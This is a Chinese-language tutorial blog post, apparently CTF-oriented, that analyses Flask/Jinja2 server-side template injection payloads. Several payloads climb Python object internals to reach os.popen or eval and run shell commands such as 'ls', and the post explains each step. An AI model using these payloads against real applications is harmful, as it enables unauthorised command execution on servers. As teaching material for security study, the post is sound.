【模板注入】SSTI命令执行payload分析

SSTI基础

网上有关SSTI基础的文章很多,写的好的文章也有.下面给出一篇文章,本文不再细讲基础.

<<从零学习flask模板注入>>@和蔼的杨小二

命令执行

要想执行命令便需要有可以执行命令的模块,一般来说很容易想到的模块便是os.

这里先看一个payload

''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()

payload各部分:

__class__:返回对象所属类

众所周知两个双引号是字符串''

__mro__:以元组返回继承链关系

__subclasses__:以列表返回类的所有子类.

 __init__:类的初始方法,用以初始化实例.实际上魔术方法__new__与__init__共同作为"构造函数",__new__先实例化类对象,而后__init__则用传入的参数来初始化实例.

__globals__(也可用func_globals):以字典返回内建模块

选中模块之后即可进行命令执行

题目环境运行如下

os.system的结果为0是因为os.system执行但不返回结果,执行成功后返回0.而os.popen便可以利用read读取命令执行结果 

 其他payload

命令执行大抵如此,都是先找到可以执行命令的模块,而后再执行.下面再列几个payload.

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()')

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.values()[13]['eval']('__import__("os").popen("ls").read()')

这两个payload用的是同一个模块,__builtins__模块,eval方法.

[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].popen('ls').read()

这些都很灵活的,熟悉就好.多多测试.

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值